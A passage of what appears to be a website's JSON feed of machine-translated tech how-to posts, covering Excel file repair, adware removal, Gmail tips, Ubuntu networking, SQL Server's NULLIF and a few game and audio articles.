change?) Select Yes .\n  So you can open the file on any version of Excel.\n2. Use the Open and Repair feature Step 1 : Open a new Excel file, on the interface, select File -\u0026gt; Open -\u0026gt; Browse.\n  Step 2: Open the dialog box you navigate and select the Excel file you want to recover. Next, select the triangle icon next to Open and choose Open and Repair.\n  Step 3: A Microsoft Excel message box appears, select Repair to repair the file.\n  If in case that Repair is not possible, you perform again and select Extract Data to extract data.\n  3. Set the calculation options in Excel to manual To open the workbook, try changing the calculation settings from automatic to manual, because the workbook will not be recalculated so it can be opened. You do the following:\nStep 1 : Open a new Excel file, on the interface, select File -\u0026gt; Options (for Excel 2010, 2013, 2016).\n  Step 2 : On the Excel Options window, select Formulas , in the Workbook Calculation section, select Manual and then OK to save.\n  Step 3 : Choose File -\u0026gt; Open -\u0026gt; Browse and select the Excel file to open to open it.\n  Chances are you will be able to open the Excel file after doing this way.\n4. Use Easy Office Recovery software You need to visit https://www.munsoft.com/EasyOfficeRecovery/ to download and install Easy Office Recovery software.\nStep 1 : Open Easy Office Recovery software, on the interface, select File -\u0026gt; Open data file.\n  A new window appears, select Open File and navigate and select the Excel file to fix.\n  Step 2 : The Excel file will be displayed in the interface, to recover the file, click File -\u0026gt; Recover data.\n  Step 3 : Click Browse to select the folder to save the Excel file after recovery and click Next .\n  The message Files were successfully recovered appears that you have successfully recovered the corrupted Excel file. You try to open the folder containing the Excel file after recovering and open the file to see the results.\nAbove are ways to fix the error of not opening Excel file, hopefully with the ways that the article shared above, you can fix Excel file error. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmnKuqn6d6pK3NZqWorF2kvaa6jJ6vnJ2cYrOquMSs\n","link":"/post/how-to-fix-the-error-can-not-open-excel-files/","section":"post","tags":null,"title":"How to fix the error can not open Excel files"},{"body":"  In the following article, Dexterity Software will guide you how to fix errors that cannot save Excel files.\nSave the file as Save As In some cases, you can open a spreadsheet directly on OutLook, or open a file as Read only; You can edit the file, but when saving the file, Excel will alert you with the following content:\n  In this case, you press the OK button =\u0026gt; Excel will automatically appear Save As window , you just select the path to the folder you need to save and save the file.\n  In some cases, the original file is corrupt or simply because you do not have permission (Permission) to edit / save the file in that directory.\n  So first try the Save As tool by clicking on the File tab , Select Save As and save the file to the folder you have access / edit.\n  Change File format If you try the Save As method and the file still fails, try changing to the file format and save the error by going to File =\u0026gt; Save As. Then on the Save As dialog box , choose another file format and save the file with the .xlsx or .xlsm extension.\n  Disable the Excel Add-In To exclude the possibility that the Add-In has been set in the original file, preventing you from saving the file, disable the Add-In by following these steps:\nStep 1 : Go to File =\u0026gt; Options .\n  Step 2 : On the Excel Options window , select Add-ins (1) =\u0026gt; Manage and select Excel Add-In (2) \u0026nbsp;=\u0026gt; Go (3) .\n  Step 3 : Disable each Add-In one by one and check if the error persists.\nIn addition to the above reasons, unsaved Excel files may be due to the following reasons:\nAntivirus software causes conflicts. Save the file name in excess of the allowed characters. Hard drive capacity is not enough . . If you have tried the above methods but it does not work, you open a new Excel file and manually copy the data from the original file to the new excel file and save the file.\nHopefully, these simple tips will help you in the process of working and studying more smoothly. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmnKuqn6d6pK3NZqWorF2orrexjJ6vnJ2cYrOquMQ%3D\n","link":"/post/how-to-fix-the-error-can-not-save-excel-file/","section":"post","tags":null,"title":"How to fix the error can not save Excel file"},{"body":" This wikiHow teaches you how to view a list of your browser's temporary internet files (stored cache data), which are pieces of data that help quickly load frequently visited sites. You cannot view temporary internet files on a mobile item...\nMethod 3of 6:\nFirefox  Open Firefox. Firefox's icon resembles a red-and-orange fox wrapped around a blue globe.\n  Click the address bar. The address bar is at the top of the Firefox window.\n  Type about:cache into the address bar. This command opens and displays the temporary internet files.\n  Press the ↵ Enter key. Doing this will open the \"Network Cache Storage Settings\" page.\n  Click the \"List Cache Entries\" link. It's below the \"disk\" heading near the middle of the page. Doing so will open a separate tab with all of your Firefox's temporary internet files listed.\n  Kareem Winters Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSfmK61sYytnKaon6eus8WMoqWtnaKjsrV5xaKjnqs%3D\n","link":"/post/how-to-locate-temporary-internet-files/","section":"post","tags":null,"title":"How to Locate Temporary Internet Files"},{"body":" Yontoo is an adware plugin installed on your web browser that modifies its settings without your consent for malicious or promotional purposes. Yontoo can be installed on your computer by downloading and installing third-party applications...\nPart 1of 1:\nUninstalling Yontoo from Your Computer  Access the Start menu. Click the Start/Orb button at the lower left corner of your computer's screen to open the Start menu.\n  Go to Control Panel. Select 'Control Panel' from the Start menu to open it on a new window.\n  View programs installed on your computer. Select 'Programs' from the category list displayed inside the Control Panel window then click on 'Uninstall a program' listed below 'Programs and Features.' A list of all the installed applications on your computer will open inside the Control Panel window.\n  Locate Yontoo. Scroll down the list and look for applications labeled Yontoo PageRage or Yontoo Layers. The programs are installed together, but you can also find one without the other.\n  Remove Yontoo. Select all the Yontoo applications you can find and click the 'Uninstall' button at the top of the list to remove the selected programs.\n === Restoring Browser Settings ===\n Of Google Chrome  Go to Google Chrome's browser menu. Open Google Chrome and click its menu button at the top-right corner of the window.\n  View all plugins installed in Chrome. Select 'Tools' from the drop-down list and click on 'Extensions.' A new tab will open showing all the plugins currently installed within Chrome.\n  Remove Yontoo. Delete any extensions named 'Yontoo' or anything that you don't remember installing yourself by clicking the trash bin icon beside the plugin name.\n  Access Chrome's settings. Click the Chrome's menu button again, but select 'Settings' from the dropdown list this time.\n  Select a search engine to use as default. Scroll down the Settings tab and click the drop-down list under 'Search.' Choose the search engine you want to use as the default from the list and exit the Settings tab by closing it.\n Of Mozilla Firefox  Go to Firefox's browser menu. Open Firefox and click its menu button at the top-right corner of the window.\n  View all plugins installed in Firefox. Select 'Add-ons' from the drop-down menu and click 'Extensions' from the left menu panel. A new tab will open showing all the plugins currently installed within Firefox.\n  Remove Yontoo. Delete any extensions named 'Yontoo' or anything that you don't remember installing yourself by clicking the 'Remove' button beside the plugin.\n  Select a search engine to use as default. Click the search bar at the upper righthand of the Firefox window and from the drop-down list, select the search engine you want to set as default. If the Yontoo plugin hasn't changed this option, you can just go ahead and skip this step.  Of Internet Explorer  View the Tools menu. Open Internet Explorer and click 'Tools' from the menu bar at the upper-left section of the browser window.\n  Access the browser's settings. Select 'Internet Options' from the drop-down list to access the browser's settings.\n  Open the Manage Add-ons window. Select the General tab and click the 'Settings' button under the 'Search' field. The 'Manage Add-ons' window will open\n  Select a search engine to use as default. Click 'Search Providers' from the left menu panel and choose the search engine you want to set as default from the list displayed. Click the 'Set as default' button at the bottom-right corner of the window to confirm your selection.\n  View all plugins installed in Internet Explorer. Click 'Toolbars and Extensions' from the left menu panel after changing your default search engine to view all the currently installed plugins inside Internet Explorer.\n  Remove Yontoo. Delete any extensions named 'Yontoo' or anything that you don't remember installing yourself by selecting it and clicking the 'Disable' button at the bottom-right corner of the window.\n  Exit the window. Click the 'Close' button to exit the Manage Add-ons window.\n  Save your changes. Click 'OK' on the Internet Options window to save the changes you've made.\n  Micah Soto Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYyypqesn6R6p77OpmSyp6WneqS7zKmsrZ2i\n","link":"/post/how-to-remove-yontoo-from-your-computer/","section":"post","tags":null,"title":"How to Remove Yontoo from Your Computer"},{"body":"Sharing and sending files online is now very simple when there are many file sharing tools for users to choose, without using Gmail as before. The way to share files is very diverse, such as via links, via QR codes like Fladrop tool for example. Fladrop implements file sharing across and end-to-end encryption so users feel secure in file sharing. The following article will guide you how to send files on Fladrop.\nInstructions for sharing files on Fladrop Step 1:\nFirst of all users access the Fladrop home page by following the link below and click Get started in the top interface to use.\nhttps://fladrop.com/   We will now see the QR code for sharing use and the option to copy for sharing. When the recipient scans the QR code , then the file upload interface will appear .\nNote that both the file and receiver must show the interface during file sharing.\nStep 2:\nFile sharers drag and drop files or click Drop or Select Files to share. The service allows sharing multiple files at the same time without any limitation on the file format. The shared capacity can be up to nearly 260MB.\n  Step 3:\nThe selected files are now uploaded to the Fladrop homepage.\n  \nFile recipients only need to click the download icon to download the file. The shared page link will disappear when the sharer reloads the page. Shared files will self-destruct after 24 hours.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYlr%2BmecWio56rXau2onnQq2Scp5SawG67zWadpZmUp7yx\n","link":"/post/how-to-share-files-via-qr-codes-on-fladrop/","section":"post","tags":null,"title":"How to share files via QR codes on Fladrop"},{"body":"When you sign up for Microsoft 365 (or Office 365), there are different subscription levels depending on the type of Office suite you want to use. By default, Office 365 will automatically renew your account so that we can always use all Office applications when the deadline. However, this inadvertently causes you to be charged account maintenance fee even though there is no need to use it anymore. If so, we should check the Microsoft 365 account expiration date and cancel the account renewal before expiring according to the article below.\nInstructions to turn off automatic Microsoft 365 renewal Step 1:\nThe user logs in to your personal Microsoft 365 account then at the account management interface, click on the account profile picture and then click on My Microsoft Account .\n  Step 2:\nSwitch to the new interface, click on the management item Services \u0026amp; Subscriptions in the green bar above. Or, click the Manage Microsoft 365 Services \u0026amp; Subscriptions tab next to your account name.\n  Step 3:\nIn this interface, click on the Manage item displayed as shown below.\n  Step 4:\nIn the Payment Settings section, click Change to change the payment mode, then click Turn Off Recurring  Billing.\n  \nContinue to scroll down and then click Turn Off Recurring Billing . In case you want to re-enable automatic payment, click Turn On Recurring Billing.\nAfter you turn off automatic payments, you can continue to use the apps until your first renewal date.\n  \nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZKahk6e8tLvFrWRsbmVirrbAzqucp52nlrk%3D\n","link":"/post/how-to-turn-off-microsoft-365-auto-renewal/","section":"post","tags":null,"title":"How to turn off Microsoft 365 auto-renewal"},{"body":"  Guide for Gmail users - Part 1\nEric Griffith\nDots and plus signs in the address section\nWhen Gmail receives it, it ignores the extended dots that are inserted in the first part of the address. That means that youraddress@gmail.com is similar to your.address@gmail.com and even youraddress@gmail.com and your . address@gmail.com .\nIn addition, you can also add words to your Gmail address, such as: youraddress+comics@gmail.com or youraddress+news@gmail.com . And you can combine dots and plus signs if you want: for example, your.addr.ess+superstar@gmail.com .\nWhy are these custom aliases useful? The reason is that they make it simple to filter messages when they reach your inbox. Allows you to set separate styles for different audience groups, such as the type of address for friends, the type of address for colleagues. Add more + spam when you sign up for a service that you are concerned about can send with your name, then filter out any messages that have been sent to that address.\nIdeally, register and add the name of the service you are using (such as youraddress+xxx@gmail.com) - then you can inform when it was passed with. That makes it simple for you to log in with your address as a username.\nObviously not all services allow you to put a plus in your email address, so this technique may not work either.\nAnother alias you can use: gmail.com and googlemail.com domains are interchangeable. youraddress@googlemail.com is similar to Gmail in all the examples above. And will also use the same alias principles above.\nAttach\nSome services have garbled the size of attachments quite a lot. However, in this respect, Gmail is quite generous, allowing files to be combined up to 20MB.\n  Because Gmail is a webmail service, attachments need to be uploaded to the Gmail site before you send them. If an attachment is large, attach it before you start writing your letter. Alternatively you may have to wait to send your mail while the file is uploading. To search for messages with attachments, both received and sent, use operator has: attachment. Add the filename operator : to search for specific names. Besides, it can also search the contents of text attachments.\n Can someone send an executable file, just like a file with a .exe extension? Absolutely impossible. Similarly, you can not send .bat, .com, .dll and .ocx extensions. Gmail will not allow you to send those types of tails because these executable tails are very easy to involve spreading malware. In fact, Gmail often automatically checks virus attachments as a standard operating procedure - you can't actively cancel this scan. Also, you cannot hide executable files in a compressed file; Gmail will closely monitor the contents of the attachments.\nHowever there is another workaround to send executable files: Change the file name and tell the person you will send the message to its tail to change it. You might be annoyed a bit because Gmail will upload the entire file before it alerts you that it will not send those executable files to you. To save time, change their names first.\nStorage space\nGmail users can use up to 7,318MB (or 7.14GB) of space to save mail, plus attachments. You can see the number of GB divided by yourself in the lower part of the Gmail page. Go to Basic Storage, you will see that Google claims to offer up to 7.69GB, plus 1GB for Picasa Web Albums storage.\nThat's the whole space you can use for free.\nIn case you want a larger capacity, you have to pay a fee for each level. For example, 10GB costs about $ 20, 40GB costs about $ 75, up to 400GB is $ 500 per year.\n Google has launched Google Drive for online storage, but you can work with it if you use Firefox as your main browser. Install Gspace add-on for instant access to the expanded space in your Gmail account via the FTP-esque interface in the browser. It works on Firefox for Windows, Mac and Linux; Gspace can also access multiple Gmail accounts (do not combine multiple accounts).\nCreate a filter in Gmail to store everything you upload via Gspace; otherwise these files will appear in the mailbox and disturb everything. Filter subject line : d $, when these characters appear in the filename of anything you upload via Gspace. Set up a filter that bypasses the \"Skip the inbox\" box for the purpose of having the files stored when uploaded.\nNote that when Google makes certain changes to Gmail, products like Gspace are destroyed and become useless. Therefore, this solution should not be considered for backing up your important files.\nNotification\nGmail equips users so they can keep the service open on a browser tab 24/7 and always know when a new mail arrives. However, certain users sometimes like to log in to something new. Therefore, it is necessary to have multiple notifications.\n Gmail Notifier. Official application from Google for notifying you of new mail running in Windows 2000 and XP and on Mac OS. Notifier2. This Windows application notifies you about email from many services, such as Gmail, Hotmail, RocketMail and Yahoo. KCheckGmail. Linux users with KDE interface will be able to see a new message with a small excerpt cut through KcheckGmail tool. Gmail Notifier for Firefox. Put the Gmail icon in Firefox's status bar to tell you what is sent. Widgets. Search on Apple sites, Google, and Yahoo Apple gizmo / gadget / widget, you can see many notifications notifications used on the desktop. Vista users who are neglecting can try Gmail Counter for Vista Sidebar. Gmail for Trillian. As its name implies, Trillian users can use this service to see what's new. Anyone who is using Google Talk client software for instant messaging - even with Windows Vista - sees a new Gmail notification via the Gtalk icon.\nUse multiple accounts in one\nNothing prevents you from having multiple Gmail accounts. Having multiple accounts is absolutely useful if you use up all your storage space or simply want to distinguish between work and family. However, you can link these accounts together. Can link them even to non-Gmail accounts, so Gmail can become a major hub for your communication.\nIn the Settings section of your main Gmail account, go to the Accounts tab. You can choose to send a reply from another account or receive mail from another account or from your main Gmail account. The option will then go to merge your accounts into one, if that's what you like. When you click on the \"Add a mail account you own\" link, a simple dialog box will appear and ask for the email address. You will receive an authentication message at that address with a link that needs to be clicked before you can send messages from your Gmail accounts to those addresses. (Google doesn't want you to fake uncontrolled accounts).\nYou can now send messages from Gmail as if you were sending from a second email account. However, how to receive messages sent to it in Gmail?\n If the second account is also Gmail, it is quite simple: Just go to the 'forwarding and POP / IMAP' tab (Forwarding and POP / IMAP) of your account and forward everything it receives to your main Gmail. . Store or digitize messages in the second account, which is also a problem. Going back to the main account, create a filter to label the messages from the second account so that you can see it accordingly, in that way you can quickly distinguish where they're sent.\n If the second address comes from a vendor that supports POP3 email, Gmail can also import messages using Mail Fetcher. You will find this feature in the Accounts tab in the Settings section of Gmail. This will be an effective way to use Gmail when emailing your work.\nIf you own a separate domain name for your second email address, your Web hosting may have a control panel that can forward incoming emails to your Gmail. However, it may not always be worthwhile, for example, to forward mail from Yahoo Mail, you need to upgrade to Yahoo Mail Plus at a cost of $ 19.99 per year. To access multiple Gmail accounts is maintained separately, a Firefox extension called Gmail Manager - can allow you to move back and forth between them without re-entering the username and password repeatedly.\nYou need to remember the second Gmail account if you are close to the allowed space limit. At the very least, a second account can be a good way to filter all messages with oversized attachments that you cannot delete.\n(There's more)\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWafnZa2rXnUrJyrq12lrrPAjGs%3D\n","link":"/post/instructions-for-gmail-users-part-2/","section":"post","tags":null,"title":"Instructions for Gmail users - Part 2"},{"body":"Network Administration - In the first part of this series, we helped you enable Windows sharing (SMB), configure Workgroup and Computer Name values ​​in Ubuntu. In this part 2, I will introduce you to the network interface in Ubuntu. You can connect, check the connection details and browse connected computers on the network in the Linux world.\n  Networking Ubuntu 8.04 and Windows\nAs in today's operating systems, Ubuntu has a network icon on the main toolbar; As you can see in Figure 1. Once connected to a wireless network, this icon will display the signal strength. The icon itself shows you the signal level with four intensity lines, when you hover over this icon, you will see the SSID (or network name) and the signal strength as a percentage.\n Figure 1\nRight-clicking on the network icon will allow you to disable or enable all network connections, not just wirelessly. From the drop-down menu, you can access a shortcut to the Connection Information window, which will show you detailed information about your network connection, such as speed (data rate), location. IP address as well as MAC address. In addition, this menu provides a shortcut to the wireless network manager, where you can edit the encryption keys used for secure networks.\nA simple left click on the network icon will bring up another drop-down menu, as you can see in Figure 2. You will see a list of available wireless networks in your area, along with that. is the signal strength. Secure encrypted networks will display an icon to the left of the signal strength bar. The radio button of the network to which you are currently connected will be marked. To connect to a wireless network, simply click on the network you want.\n Figure 2\nThe menu also provides you with three other shortcuts: Connect to Other Wireless Network - Connect to other wireless networks so you can connect to hidden networks or not promote, Create New Wireless Network - create a new wireless network to create computer-to-computer or ad-hoc peer connections, Manual Configuration - take you to the Network Settings window, where you can set a static IP address for your network connection and set up a Workgroup or Domain and Computer (Host) Name.\nAs mentioned in the previous section, you can see the details for your connection by opening the Connection Information window. To open this window, right-click the network icon and click Connection Information . You should see results similar to those shown in Figure 3, a similarity to the Network Connection Status window of Windows XP by double clicking on the network icon.\n Figure 3\nSpeed is the speed of data (theoretically) according to Mbps, which is the speed of the data you are connected to the network. If there are the latest wireless devices, 802.11n products, this value can be over 54 Mbps, while for 802.11g devices, your network connection speed is only up to a maximum of 54 Mbps. If you are using an older 802.11b product, this data rate may be even lower, around 11 Mbps.\nThe IP Address field is the address of your computer, or the address for the network adapter you are using. All devices and computers on your network have their unique IP address. This address helps identify computers on the network and can be used by users to access shared computer resources.\nSubnet Mask is the definition of the subnet or part of the range of IP addresses you are using. You will only have to reference this value if you set a static IP address for your computers. The Default Route value is the router's IP address that you can use to access its web configuration utility.\nThe last information you are interested in in the Connection Information window is the Hardware Address . In most utilities and other documents, you will see this value as a physical address or MAC (Media Access Control) address. You can compare with a motorcycle or automobile registration number, or a product's serial number. Every network product has its own MAC address and is used for identification purposes. Only when setting up the MAC address filter on your router will you need to consider this value, which will better protect your wireless network from unauthorized intruders within the range.\nAlong with the ability to access the Network Settings window by clicking the network icon and selecting Manual Configuration, you can click System | Administration | Network . When the window appears (as shown in Figure 4), to make changes, click the Unlock button, enter your account password and click the Authenticate button.\n Figure 4\nOn the Connections tab, you can double-click the connection type (for example, to configure its settings), its IP address settings to configure static addresses. On the General tab, you can change Host (or Computer) Name; although you can configure Domain Name (or Workgroup) somewhere like what was introduced in Part 1. DNS tabs and Hosts contain advanced settings that you may not need at this time.\nTo finish off a menu of menus, windows and Ubuntu's network connection settings, consider the Network window, as shown in Figure 5. Here, you can browse to computers. and files on your network. You can access this window by clicking Places and selecting Network , or by clicking the Network Servers icon when you are in the File Browser window.\n Figure 5\nTo view files from your Windows computers, first double-click the Windows Network icon. Then double-click on the Workgroup that your computer resides on. Double-click the computer you want to access, identified by their Computer Names. Finally you can browse to the shared folders of this computer.\nIn the next part of this series, I will show you how to share files and printers in Ubuntu.\nncG1vNJzZmismaXArq3KnmWcp51ku6bA1qippKGenHq2rtSnq65laGWBbq3NnWSwoZ6ZvLi%2FjKmYq6xdZw%3D%3D\n","link":"/post/networking-ubuntu-8-04-and-windows/","section":"post","tags":null,"title":"Networking Ubuntu 8.04 and Windows"},{"body":"This article will show you in detail how to use the NULLIF function handler in SQL Server with specific syntax and examples to better visualize and capture functions.\nDescribe The NULLIF function in SQL Server compares two expressions to be passed. If the first expression is equal to the second expression, NULLIF will return NULL. Otherwise, the function will return the first expression, expression 1.\nSyntax To use the NULLIF statement in SQL Server, we use the following syntax:\n NULLIF(bieuthuc1, bieuthuc2)  Parameters :\nbieuthuc1, bieuthuc2: expressions to compare. The values ​​in the expression must belong to the same data type. Note :\nNULLIF function can be used in later versions of SQL Server: SQL Server 2017, SQL Server 2016, SQL Server 2014, SQL Server 2012, SQL Server 2008 R2, SQL Server 2008, and SQL Server 2005. For example See how to use the NULLIF statement in SQL Server.\nSELECT NULLIF('TipsMake.com', 'TipsMake.com'); Result: NULL (trả về NULL vì các giá trị bằng nhau) SELECT NULLIF('TipsMake.com', 'QuanTriMang'); Result: 'TipsMake.com' (trả về giá trị đầu tiên vì các giá trị khác nhau) SELECT NULLIF(12, 12); Result: NULL (trả về NULL vì các giá trị bằng nhau) SELECT NULLIF(12, 45); Result: 12 (trả về giá trị đầu tiên vì các giá trị khác nhau) SELECT NULLIF('2019-05-01', '2019-05-01'); Result: NULL (trả về NULL vì các giá trị bằng nhau) SELECT NULLIF('2019-05-01', '2019-04-30'); Result: '2019-05-01' (trả về giá trị đầu tiên vì các giá trị khác nhau)  Previous article: LEAD function in SQL Server\nNext article: Function SESSION_USER in SQL Server\nncG1vNJzZmismaXArq3KnmWcp51ku7a4y6KdZp6lo7C1tc6nZKKmXai%2BrXnSnqmvnaI%3D\n","link":"/post/nullif-function-in-sql-server/","section":"post","tags":null,"title":"NULLIF function in SQL Server"},{"body":"Referring to JL Audio, a brand with headquarters in Florida - USA, to mention 'super sub' JL Gotham V2 weighing 160 kg, Fathom F112 or E-Sub E112 . are all outstanding subwoofer designs of the company, won many major awards. With a compact size, but impressive performance with extremely low distortion and especially the ability to perform linearly with the main speaker, the Dominion d110 has followed the 'elder', occupying the top position in the distribution. subwoofer hi-end 'soft' price.\n  JL Audio - America's 'big man' in the audio industry with a history of 45 years With a history of 45 years, JL Audio is one of the major American audio companies founded by James Birch and Lucio Pronim (brand name taken from the initials of the two founders). Not only known for its hi-end subwoofers, this brand owns a wide range of products that span from home audio, car audio, high-end audio systems for yachts and speakers. Super durable for outdoor sports.\n  In terms of philosophy, the first JL Audio brand is strong in technology, taking science to lead for top-notch sound along with the sophistication in manufacturing and manufacturing only at its headquarters in Florida - USA. The strength of JL Audio subwoofers is their very high performance, the ability to disappear from space, especially creating linear sound with the main speaker by limiting noise to a remarkably low level.\nDesign JL Audio Dominion d110-Gloss First, it must be confirmed that the JL Audio Dominion d110 is very popular from audiophiles, videophiles, to music producers and gamers. Despite owning a 10in diameter driver, the Dominion d110 still has a compact size and loads of unexpected bass performance.\n  The JL Audio Dominion d110 comes in two finishes, ASH and Gloss, both available in black. The ASH version has a matte black veneer, the d110-Gloss model has a more impressive and expensive glossy piano lacquer finish. This subwoofer has a more compact volume than most subwoofers with the same driver diameter, although very compact like the Dominion d110 has a very solid, sturdy structure and weighs up to 17kg. The cabinet of the Dominion d110-Gloss has a fully enclosed design, allowing it to be placed close to the wall or hidden. This cabinet construction is extremely vibration-resistant thanks to a clamping position on the front and back.\n  First, looking directly at the Dominion d110, we will see that there is a very thick aluminum alloy sheet covering most of the front. This aluminum plate does not have to play the role of keeping the driver face with the front of the cabinet, but this is part of the 10in woofer structure, connected to the chassis holding the magnet, spider, driver . This is a pretty unique design and obviously very effective, but comes with high machining costs because you have to cast a very large monolithic metal part.\n  Next, on the back of the speaker is also a very thick metal plate, which contains all the connections, control circuits and power amplifier blocks. Thus, both the front and back of the JL Dominon d110 speaker cabinet are clamped by 2 metal plates, creating a rigid topology, extremely good anti-vibration. This design also explains why the speaker has a small volume but the extremely deep bass from the Dominion d110 still has very low noise.\nSpecial technologies of JL Dominion d110-Gloss Driver 10in oversized foam border viền   JL Audio Dominion d110 has a 10in diameter driver with a special feature of an oversized rim. This remarkable detail is processed by the company from specialized mousse sheets with a thickness of 60 - 70cm, then compressed with high strength down to thin sheets with a size of only a few mm. This very special speaker border design helps to increase the performance of the subwoofer, specifically, the travel of the diaphragm will be longer. In addition, this special mousse border also plays the role of absorbing internal resonant vibrations, helping to stabilize the diaphragm (after moving) at an extremely fast speed. The Class D amplifier inside the Dominion reaches a maximum output of 750W, using a specially designed compact pulse source.\nDMA (Dynamic Motor Analysis) technology   DMA is a technology that allows the design of magnets with the ability to provide the most optimal and most effective magnetic force based on the overall analysis of the cabinet, driver material, conductor. With all the information specifications as well as measurements, the computer will perform finite element analysis and run all the operating models, thereby giving the most optimal designs for each component in the motion system including : magnetic system, magnet pole, diameter, voice-coil length, speaker spider distance…. This is also the technical point that makes the Dominion d110 diaphragm capable of moving extremely wide up to 68mm and still maintaining extremely low noise!\nVented Reinforcement Collar . VRC - Vented Reinforcement Collar   To achieve such a moving diaphragm with such wide amplitude and low noise, JL Audio has developed two separate technologies. The first is the Vented Reinforcement Collar (VRC) structure, which is a link ring made of composite, connecting the diaphragm and the voice-coil head. This structure allows the use of glue to be minimized, limiting discrepancies, interference or damage due to long-term degradation of the glue, which is also a very common error in most subwoofers. In addition, this VRC loop structure has air vents that directly cool the voice-coil, avoiding damage due to thermal overload.\nFloating Cone Attachment Method . FCAM - Floating Cone Attachment Method   Along with VRC, FCAM is a technology that helps to limit noise significantly during the operation of the JL Dominion d110. This is the technique applied in the assembly between 3 components, the diaphragm - voice-coil - spider speaker. Engineers at JL Audio designed the most stable and balanced geometry for these links. The effect of FCAM is to help the diaphragm move exactly like a piston.\nExperience   We experience the JL Audio d110-Gloss subwoofer in a listening room of about 25 square meters with two pairs of main speakers, Acoustic Energy AE1 Classic and JBL 4312M II. After setting the cut-off point and fine-tuning the phase as best as possible, the Dominion d110 immediately impresses with its performance. The system's bass range is complemented by both power, flexibility and a solid sound background of large stages. With a 10in driver that is not too large, the Dominion d110 still exploits the subwoofer well, giving deep bass and wide background coverage.\nFor recordings that require high dynamics, you'll find the d110's dynamic response is surprisingly good. It is a combination of driver, sealed cabinet design and importantly, techniques to optimize magnetic force and link sub-speaker components. The dominant advantage of the JL Dominion d110 is to disappear from space. Listeners almost no longer notice the existence of the subwoofer thanks to a linear blend with the main speakers.\nncG1vNJzZmismaXArq3KnmWcp51kwaavx6empaeXnrK0edOhmK1lmJq5sXnJpWSdp52eu6q7zWabamlgnLmwv9Jmqq6qoJbAtHnTqKdmm5iarrF5x6Kcp5xdqMKjw86onZ6qow%3D%3D\n","link":"/post/technologies-that-help-jl-dominion-d110-gloss-surpass-top-cheap-hi-end-subwoofers/","section":"post","tags":null,"title":"Technologies that help JL Dominion d110-Gloss surpass TOP cheap hi-end subwoofers"},{"body":"In Zombie mode: Survive Till Dawn in PUBG Mobile VNG, players will only be \"around\" in an area of ​​the hottest locations of the Erangel map like Pochinki, School, Rozhok, Mansion, Shelter, Prison, Farm and some other small areas.\nThe reason Tencent only chose this area is because these are the most looted areas on the Erangel, supporting initially equipped players to fight off zombies when new to the game. In addition to this area, there is another new secret area where PUBG Mobile does not officially notify users.\nThat is the RPD Raccoon Police building, this is the symbol of Resident Evil 2. The location of this building will not be fixed but will appear randomly on the map, you can see the location of This building is below and will know what is in it.\nA few tips for playing Zombie PUBG Mobile mode for newbies PUBG Mobile Zombie: Synthesis of new weapons and how to find them PUBG Mobile Zombie: Combine all types of zombies and how to deal with them PUBG Mobile Zombie: The location of the RPD building Raccoon Police 1. Location of the first RPD building The first will be the location near Shelter with the location of the identification point is located near a small building with a large warehouse.\n  To take a closer look, you can look under this picture, it is a path that has easy-to-identify curves near three hot spots on Erangel, Mansion, Prison and Shelter.\n  2. The 2nd position appears RPD building Second place will be near Rozhok and Yasnaya Polyana town. It is located just across the bridge connecting Yasnaya Polyana town.\n  When parachuting you will see the building appear below, if you don't see it, it doesn't appear in this location. In here you will find zombies along with many other items.\n  In particular, you will meet a character who is not anywhere on the map, which is Dr. William Birkin or G-Virus.\nThe identity of this guy was mutated by his body and his right hand was enlarged, his shoulder grew a huge piece of meat, and his hand was holding an iron tube, and lurched back and forth to see who then the hand is straight without a bit of mercy. If you want to destroy him, go from two people or more.\n  Many of you must have seen this house before you debuted and thought it was a new map, in fact it was just another mysterious location placed on the Erangel. If you have determined to jump down here, be prepared to face \"the enemy\" around.\nncG1vNJzZmismaXArq3KnmWcp51kvbauxmakqJqZobJuxs6mmaKdXam1pnnLqJqarJmku26tz6mcmqqjYr%2BxsIyppqWhk5p6tMDAraCopl2nrqSvzqilZqifobaksQ%3D%3D\n","link":"/post/the-location-appears-rpd-police-station-raccoon-police/","section":"post","tags":null,"title":"The location appears RPD police station Raccoon Police"},{"body":"TOP characters with best talent for combat in Genshin Impact, Concept of passive talent in Genshin Impact and TOP characters with best passive talent\nAll the characters in Genshin Impact have their own interesting stories, the ability to paralyze opponents, and unique talents specializing in different aspects. Characters can contribute a lot in helping players perfect their exploration and combat.\nLet's explore the concept of passive talent and TOP characters with the best passive talent to fight and discover in Genshin Impact.\nWhat is passive talent in Genshin Impact? Passive talents provide special effects to game characters. These include Utility Passives, the first and fourth Ascension Passives.\n  Picture 1 of TOP characters with the best talent to fight in Genshin Impact  Utility Passives, or Discovery Talents, are the most common of these abilities. They usually offer some kind of utility beyond combat and are automatically unlocked once the player acquires a character. The only character who doesn't have a passive talent is the Traveler.\nThe most special Utility Passives are cooking bonuses, reduced stamina, navigation, other bonuses,.\nTOP best passive talented character in Genshin Impact Out of the 50 characters currently available in Genshin Impact, it's hard to measure which is the best character to fight and explore in the game. However, gamers can prioritize choosing the characters in the list below when they need to fight and explore the world.\nYanfei: Encyclopedic Expertise   Picture 2 of TOP characters with the best talent to fight in Genshin Impact  Qiqi used to be on top when it came to collecting Liyue specialties. However, the 4-star character Yanfei came and dethroned because of her talent.\nEncyclopedic Expertise talent can help players spot Violetgrass and the like. In addition, Yanfei alone can be a DPS carrying the team at the end of the game. This makes her a good choice if people don't already own Qiqi.\nSayu: Many Passive Talents   Picture 3 of TOP characters with the best talent to fight in Genshin Impact  Since the animals in the Genshin Impact world move quite quickly when something approaches them, Sayu's skills stand out among other talents.\nSayu's initial passive talent mechanic makes her seem invisible to most creatures. With this function, catching Fireflies, Unagi Meat, Crab,. becomes a lot easier.\nBesides, her No Work Today passive talent makes her a reliable healer in Co-op mode. And Sayu can also heal the whole team with Someone More Capable more every time he unleashes a vortex reaction.\nKazuha: Poetics of Fuubutsu   Picture 4 of TOP characters with the best talent to fight in Genshin Impact  Kaedehara Kazuha is a 5 star character whose passive talent ultimately gives great power to any team that relies heavily on elemental reactions.\nKazuha's 